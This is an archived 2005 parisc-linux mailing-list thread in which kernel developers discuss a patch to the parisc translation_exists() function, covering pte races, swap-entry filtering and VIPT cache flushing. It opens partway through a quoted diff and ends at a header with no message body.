> -	pgd_t *pgd = pgd_offset(mm, addr);
> +	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
>  	pmd_t *pmd;
> -	pte_t *pte;
> +	pte_t pte;
>  
>  	if(pgd_none(*pgd))
> -		return NULL;
> +		return 0;
>  
>  	pmd = pmd_offset(pgd, addr);
>  	if(pmd_none(*pmd) || pmd_bad(*pmd))
> -		return NULL;
> +		return 0;
>  
> -	pte = pte_offset_map(pmd, addr);
> +	/* We cannot take the pte lock here: flush_cache_page is usually
> +	 * called with pte lock already held.  Whereas flush_dcache_page
> +	 * takes flush_dcache_mmap_lock, which is lower in the hierarchy:
> +	 * the vma itself is secure, but the pte might come or go racily.
> +	 */
> +	pte = *pte_offset_map(pmd, addr);
> +	/* But pte_unmap() does nothing on this architecture */
> +
> +	/* Filter out coincidental file entries and swap entries */
> +	if (!(pte_val(pte) & (_PAGE_FLUSH|_PAGE_PRESENT)))
> +		return 0;
>  
> -	/* The PA flush mappings show up as pte_none, but they're
> -	 * valid none the less */
> -	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
> -		return NULL;
> -	return pte;
> +	return pte_pfn(pte) == pfn;
>  }
> -#define	translation_exists(vma, addr)	__translation_exists((vma)->vm_mm, addr)
> -
>  
>  /* Private function to flush a page from the cache of a non-current
>   * process.  cr25 contains the Page Directory of the current user
> @@ -175,9 +179,8 @@ flush_cache_page(struct vm_area_struct *
>  {
>  	BUG_ON(!vma->vm_mm->context);
>  
> -	if(likely(translation_exists(vma, vmaddr)))
> +	if (likely(translation_exists(vma, vmaddr, pfn)))
>  		__flush_cache_page(vma, vmaddr);
>  
>  }
>  #endif
> -
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH 3/9] mm: parisc pte atomicity
Date: Sat, 22 Oct 2005 12:08:45 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <1130000925.6461.15.camel__30134.112670976$1416624564$gmane$org@mulgrave>
References: <Pine.LNX.4.61.0510221716380.18047@goblin.wat.veritas.com>
	<Pine.LNX.4.61.0510221722260.18047@goblin.wat.veritas.com>
	<20051022163330.GD3364@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624564 27322 80.91.229.3 (22 Nov 2014 02:49:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:24 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Hugh Dickins <hugh@veritas.com>,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Oct 2005 17:09:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 22 Oct 2005 19:09:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E29977D6D5;
	Sat, 22 Oct 2005 11:09:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22369-04; Sat, 22 Oct 2005 11:09:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D50287D6D7;
	Sat, 22 Oct 2005 11:09:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 798037D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 11:09:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22369-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 11:09:09 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E37C57D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 11:09:09 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 67BE4494007; Sat, 22 Oct 2005 11:09:09 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by palinux.hppa (Postfix) with ESMTP id 15F52494005
	for <parisc-linux@parisc-linux.org>;
	Sat, 22 Oct 2005 11:09:09 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j9MH8kx13651; Sat, 22 Oct 2005 13:08:46 -0400
In-Reply-To: <20051022163330.GD3364@parisc-linux.org>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ahcoYxdreSEkdL6WZHQhaXN1IGRvb0A6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25198

On Sat, 2005-10-22 at 10:33 -0600, Matthew Wilcox wrote:
> On Sat, Oct 22, 2005 at 05:23:27PM +0100, Hugh Dickins wrote:
> > There's a worrying function translation_exists in parisc cacheflush.h,
> > unaffected by split ptlock since flush_dcache_page is using it on some
> > other mm, without any relevant lock.  Oh well, make it a slightly more
> > robust by factoring the pfn check within it.  And it looked liable to
> > confuse a camouflaged swap or file entry with a good pte: fix that too.
> 
> I have to say I really don't understand VM at all.  cc'ing the
> parisc-linux list in case anyone there has a better understanding than I
> do.

Well, I wrote the code for translation_exists() so I suppose that's
me...

Do you have a reference to the thread that triggered this?  I need more
context to decide what the actual problem is.

Let me explain what translation_exists() is though for the benefit of
the mm people.

Parisc is a VIPT architecture, so that would ordinarily entail a lot of
cache flushing through process spaces for shared pages.  However, we use
an optimisation of making all user space shared pages congruent, so
flushing a single one makes the cache coherent for all the others (this
is also a cache usage optimisation).

So, what our flush_dcache_page() does is it selects the first user page
it comes across to flush knowing that flushing this is sufficient to
flush all the others.

Unfortunately, there's a catch: the page we're flushing must have been
mapped into the user process (not guaranteed even if the area is in the
vma list) otherwise the flush has no effect (a VIPT cache flush must
know the translation of the page it's flushing), so we have to check the
validity of the translation before doing the flush.

On parisc, if we try to flush a page without a translation, it's picked
up by our software tlb miss handlers, which actually nullify the
instruction (but since we have to flush a page as a set of non
interlocking cache line flushes [about 128 of them per page with a cache
width of 32]) and the tlb handler is invoked for every flush instruction
(because the translation continues not to exist) it makes that flush
operation extremely slow. (128 interruptions of the execution stream per
flush)

So, the uses of translation_exists() are threefold

1) Make sure we execute flush_dcache_page() correctly (rather than
executing a flush that has no effect)
2) optimise single page flushing: don't excite the tlb miss handlers if
there's no translation
3) optimise pte lookup (that's why translation_exists returns the pte
pointer); since we already have to walk the page tables to answer the
question, the return value may as well be the pte entry or NULL rather
than true or false.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH 3/9] mm: parisc pte atomicity
Date: Sun, 23 Oct 2005 10:02:46 +0100 (BST)
Lines: 110
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.61.0510230930470.19527__2847.41203436187$1416624565$gmane$org@goblin.wat.veritas.com>
References: <Pine.LNX.4.61.0510221716380.18047@goblin.wat.veritas.com> 
	<Pine.LNX.4.61.0510221722260.18047@goblin.wat.veritas.com> 
	<20051022163330.GD3364@parisc-linux.org>
	<1130000925.6461.15.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624565 27325 80.91.229.3 (22 Nov 2014 02:49:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:25 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 Matthew Wilcox <matthew@wil.cx>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Oct 2005 09:04:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 23 Oct 2005 11:04:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 843677D6D6;
	Sun, 23 Oct 2005 03:03:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27425-01; Sun, 23 Oct 2005 03:03:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5E157D6C9;
	Sun, 23 Oct 2005 03:03:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AB287D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Oct 2005 03:03:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26993-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Oct 2005 03:03:54 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1105E7D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Oct 2005 03:03:54 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BD080494011; Sun, 23 Oct 2005 03:03:52 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from silver.veritas.com (silver.veritas.com [143.127.12.111])
	by palinux.hppa (Postfix) with ESMTP id 4DB48494007
	for <parisc-linux@parisc-linux.org>;
	Sun, 23 Oct 2005 03:03:52 -0600 (MDT)
Original-Received: from sxchcon1-int.veritas.com (HELO
	SVLXCHCON1.enterprise.veritas.com) (10.137.18.171)
	by silver.veritas.com with ESMTP; 23 Oct 2005 02:03:53 -0700
Original-Received: from megami.veritas.com ([10.137.16.7]) by
	SVLXCHCON1.enterprise.veritas.com with Microsoft
	SMTPSVC(6.0.3790.211); Sun, 23 Oct 2005 02:03:51 -0700
Original-Received: from [192.168.0.4]([172.21.56.11]) (6473 bytes) by megami.veritas.com
	via sendmail with P:esmtp/R:smart_host/T:smtp
	(sender: <hugh@veritas.com>) id <m1ETble-0000zzC@megami.veritas.com>
	for <matthew@wil.cx>; Sun, 23 Oct 2005 02:03:50 -0700 (PDT)
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@goblin.wat.veritas.com
In-Reply-To: <1130000925.6461.15.camel@mulgrave>
X-OriginalArrivalTime: 23 Oct 2005 09:03:51.0524 (UTC)
	FILETIME=[AFE62A40:01C5D7B0]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UzcpY49JeSEkU76WZHQhaXN1IGRvb4DD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25199

On Sat, 22 Oct 2005, James Bottomley wrote:
> On Sat, 2005-10-22 at 10:33 -0600, Matthew Wilcox wrote:
> > On Sat, Oct 22, 2005 at 05:23:27PM +0100, Hugh Dickins wrote:
> > > There's a worrying function translation_exists in parisc cacheflush.h,
> > > unaffected by split ptlock since flush_dcache_page is using it on some
> > > other mm, without any relevant lock.  Oh well, make it a slightly more
> > > robust by factoring the pfn check within it.  And it looked liable to
> > > confuse a camouflaged swap or file entry with a good pte: fix that too.
> > 
> > I have to say I really don't understand VM at all.  cc'ing the
> > parisc-linux list in case anyone there has a better understanding than I
> > do.
> 
> Well, I wrote the code for translation_exists() so I suppose that's
> me...
> 
> Do you have a reference to the thread that triggered this?  I need more
> context to decide what the actual problem is.

No thread, and I don't know of any problem reported.  It's just that
in connection with my page fault scalability patches, splitting up the
page_table_lock, I've had to search through architectures for pte code
which may need changing.

Since translation_exists is doing no locking at present, it doesn't need
any change to match my ptlock changes.  But it's a little worrying that
it has no locking.  When called from flush_cache_page that's almost
always right, and locking would just deadlock on locks already taken
(I think core dumping uses flush_cache_page outside of locks, not a big
deal).  But when called from flush_dcache_page, it's dealing with some
other mm entirely: anything could happen at any moment.

We're actually better off with my changes here than before.  Since you're
coming from the vma_prio_tree, with the necessary locking on that, you
can now be sure that the page tables won't get pulled out from under you
(whereas before there was an unlikely window in which they might be).

> Let me explain what translation_exists() is though for the benefit of
> the mm people.

Thanks for taking the trouble, James (more than I needed to know!
but I'm reassured by what you say of the TLB miss handlers, I was
worried about how serious the consequence of doing it on an invalid
entry, feared kernel panic or something).
 
> Parisc is a VIPT architecture, so that would ordinarily entail a lot of
> cache flushing through process spaces for shared pages.  However, we use
> an optimisation of making all user space shared pages congruent, so
> flushing a single one makes the cache coherent for all the others (this
> is also a cache usage optimisation).
> 
> So, what our flush_dcache_page() does is it selects the first user page
> it comes across to flush knowing that flushing this is sufficient to
> flush all the others.
> 
> Unfortunately, there's a catch: the page we're flushing must have been
> mapped into the user process (not guaranteed even if the area is in the
> vma list) otherwise the flush has no effect (a VIPT cache flush must
> know the translation of the page it's flushing), so we have to check the
> validity of the translation before doing the flush.
> 
> On parisc, if we try to flush a page without a translation, it's picked
> up by our software tlb miss handlers, which actually nullify the
> instruction (but since we have to flush a page as a set of non
> interlocking cache line flushes [about 128 of them per page with a cache
> width of 32]) and the tlb handler is invoked for every flush instruction
> (because the translation continues not to exist) it makes that flush
> operation extremely slow. (128 interruptions of the execution stream per
> flush)
> 
> So, the uses of translation_exists() are threefold
> 
> 1) Make sure we execute flush_dcache_page() correctly (rather than
> executing a flush that has no effect)
> 2) optimise single page flushing: don't excite the tlb miss handlers if
> there's no translation
> 3) optimise pte lookup (that's why translation_exists returns the pte
> pointer); since we already have to walk the page tables to answer the
> question, the return value may as well be the pte entry or NULL rather
> than true or false.

Regarding 3, I changed it to boolean because the only use made of the pte
pointer was to check pfn: which check I folded inside translation_exists,
so the pte it's checking for pfn cannot have changed since it was checked
for being present (repeated dereferences of pte pointer without locking
make me nervous, and I changed some code in other architectures for that).

I'm right, aren't I? that the previous pte_none test was actually letting
through swap entries and pte_file entries which might look as if they had
the right pfn, just by coincidence of their offsets?  So flush_dcache_page
would stop, thinking it had done a good flush, when actually it hadn't.

But races remain: the pte good at the moment translation_exists checks it,
may have been taken out by kswapd a moment later (flush_dcache_mmap_lock
only secures the vma_prio_tree structure, not ptes within the vmas);
or it may have been COWed in the interval; or zapped from the mm.

Can you get a success code out of __flush_cache_page?  Or perhaps you
should run translation_exists a second time after the  __flush_cache_page,
to check nothing changed (the pte pointer would then be helpful, to save
descending a second time)?  Or perhaps it all works out, that any such
change which might occur, itself does the __flush_cache_page you need?

Hugh
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH 3/9] mm: parisc pte atomicity
Date: Mon, 24 Oct 2005 05:36:35 +0100 (BST)
Lines: 115
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.61.0510240441570.22402__18510.3494827219$1416624565$gmane$org@goblin.wat.veritas.com>
References: <Pine.LNX.4.61.0510221716380.18047@goblin.wat.veritas.com> 
	<Pine.LNX.4.61.0510221722260.18047@goblin.wat.veritas.com> 
	<20051022163330.GD3364@parisc-linux.org>
	<1130000925.6461.15.camel@mulgrave>
	<Pine.LNX.4.61.0510230930470.19527@goblin.wat.veritas.com>
	<1130079931.3437.21.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624565 27335 80.91.229.3 (22 Nov 2014 02:49:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:25 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Matthew Wilcox <matthew@wil.cx>,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Oct 2005 04:37:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 24 Oct 2005 06:37:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 454FD7D6A3;
	Sun, 23 Oct 2005 22:37:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01263-03; Sun, 23 Oct 2005 22:37:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 340F07D6A4;
	Sun, 23 Oct 2005 22:37:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CEF47D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Oct 2005 22:37:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00754-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Oct 2005 22:37:29 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C76097D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Oct 2005 22:37:29 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 519DD494054; Sun, 23 Oct 2005 22:37:29 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from gold.veritas.com (gold.veritas.com [143.127.12.110])
	by palinux.hppa (Postfix) with ESMTP id E2E1D494011
	for <parisc-linux@parisc-linux.org>;
	Sun, 23 Oct 2005 22:37:28 -0600 (MDT)
Original-Received: from sxchcon2-int.veritas.com (HELO
	SVLXCHCON2.enterprise.veritas.com) (10.137.18.172)
	by gold.veritas.com with ESMTP; 23 Oct 2005 21:37:28 -0700
Original-Received: from megami.veritas.com ([10.137.16.7]) by
	SVLXCHCON2.enterprise.veritas.com with Microsoft
	SMTPSVC(6.0.3790.211); Sun, 23 Oct 2005 21:37:27 -0700
Original-Received: from [192.168.0.4]([172.21.56.32]) (6701 bytes) by megami.veritas.com
	via sendmail with P:esmtp/R:smart_host/T:smtp
	(sender: <hugh@veritas.com>) id <m1ETu5O-0000GeC@megami.veritas.com>
	for <matthew@wil.cx>; Sun, 23 Oct 2005 21:37:26 -0700 (PDT)
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@goblin.wat.veritas.com
In-Reply-To: <1130079931.3437.21.camel@mulgrave>
X-OriginalArrivalTime: 24 Oct 2005 04:37:27.0762 (UTC)
	FILETIME=[A33F6320:01C5D854]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RAAuY19ceSEkVL6WZHQhaXN1IGRvb8Dk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25200

On Sun, 23 Oct 2005, James Bottomley wrote:
> On Sun, 2005-10-23 at 10:02 +0100, Hugh Dickins wrote:
> 
> The change does slightly worry me in that it alters the behaviour of
> flush_cache_page() because now it checks the pfn whereas previously it
> didn't.  This means that previously we would flush the COW'd page of a
> shared mapping, now we won't.

Perhaps you're thinking of some use of flush_cache_page that no longer
exists in the tree?  All the uses I see are passing in the right pfn,
and the question is why translation_exists even gets called by it.

Even those uses of flush_cache_page in asm-parisc/cacheflush.h itself
(which I'd missed before): copy_to_user_page and copy_from_user_page
are only used by nothing but access_process_vm, after get_user_pages:
so any COW has already been done, and the right pfn is passed in.

> > I'm right, aren't I? that the previous pte_none test was actually letting
> > through swap entries and pte_file entries which might look as if they had
> > the right pfn, just by coincidence of their offsets?  So flush_dcache_page
> > would stop, thinking it had done a good flush, when actually it hadn't.
> 
> Actually, no, pte_none() on parisc is either pte is zero or _PAGE_FLUSH
> (which is our private flag saying we're preserving the pte entry for the
> purposes of flushing even though it's gone) is set.

Sorry, "pte_none test" was my lazy shorthand for the actual test:
	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
		return NULL;
from which point on it assumes the pte is valid.  I'm contending that
a swap entry or pte_file entry does not return NULL there, so is then
treated as a valid pte: and pte_pfn on it might match the target pfn.

I believe my
	/* Filter out coincidental file entries and swap entries */
	if (!(pte_val(pte) & (_PAGE_FLUSH|_PAGE_PRESENT)))
		return 0;
is correct, and avoids that problem (plus avoiding the complication
of parisc's unintuitive pte_none).

> However, now that I
> look at it, are you thinking our ptep_get_and_clear() should be doing a
> check for _PAGE_PRESENT before it sets _PAGE_FLUSH?

That's certainly not what I was thinking.  No, I'm pretty sure that
ptep_get_and_clear only gets called when we've got the right lock and
know the pte is present: I don't think you need to make any change there.
(The "pretty sure" reflecting that there's a bit of a macro maze here now,
so actually following up each reference would take a bit longer.)

But you may be seeing something I don't see: I've only just met your
_PAGE_FLUSH, and that unusual pte_none might be letting something
through that I'm overlooking, that you're aware of.

> > But races remain: the pte good at the moment translation_exists checks it,
> > may have been taken out by kswapd a moment later (flush_dcache_mmap_lock
> > only secures the vma_prio_tree structure, not ptes within the vmas);
> > or it may have been COWed in the interval; or zapped from the mm.
> > 
> > Can you get a success code out of __flush_cache_page?  Or perhaps you
> > should run translation_exists a second time after the  __flush_cache_page,
> > to check nothing changed (the pte pointer would then be helpful, to save
> > descending a second time)?  Or perhaps it all works out, that any such
> > change which might occur, itself does the __flush_cache_page you need?
> 
> Yes, I know ... I never liked the volatility of this, but it's better
> than what was there before, believe me (previously we just flushed the
> first entry we found regardless).

I do believe you!

> Getting a return code out of __flush_dcache_page() is hard because it
> doesn't know if the tlb miss handler nullified the instructions it's
> trying to execute; and they're interruption handlers (meaning we don't
> push anything on the stack for them, they run in shadow registers), so
> getting a return code out of them is next to impossible.

Right, it was just a thought.

> For the flush to be effective in the VIPT cache, we have to have a
> virtual address with a valid translation that points to the correct
> physical address.  I suppose we could flush through the tmpalias space
> instead.  That's where we set up an artifical translation that's not the
> actual vaddr but instead is congruent to the vaddr so the mapping is
> effective in cache aliasing terms.  Our congruence boundary is 4MB, so
> we set up a private (per cpu) 4MB space (tmpalias) where we can set up
> our pte's (or actually manufacture them in the tlb miss handler)
> securely.

I have no appreciation at all how that would compare.  On the one hand
it sounds like a lot of overhead you'd understandably prefer to avoid;
on the other hand, this hit-and-miss search of the vma_prio_tree might
be a worse overhead better avoided.   I've no appreciation at all.

But I made two suggestions above that might be less work.  One,
requiring no work but research, that _perhaps_ in all the racy cases
you can rely on the __flush_cache_page having been done by the racer?
I can't tell, and it may be obvious to you that that's a non-starter.

Other, that you just check the pte again after the __flush_cache_page,
if it's no longer right then assume the flush didn't work and continue.
There is a small chance that the pte was right before, wrong during the
flush, then right after (something else faulted it back in, while we
were away... I was about to say handling an interrupt, but actually
even interrupts are disabled here by flush_dcache_mmap_lock, since
that's a reuse of mapping->tree_lock).  But it would improve the
safety by several orders of magnitude.

Hugh
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH 3/9] mm: parisc pte atomicity
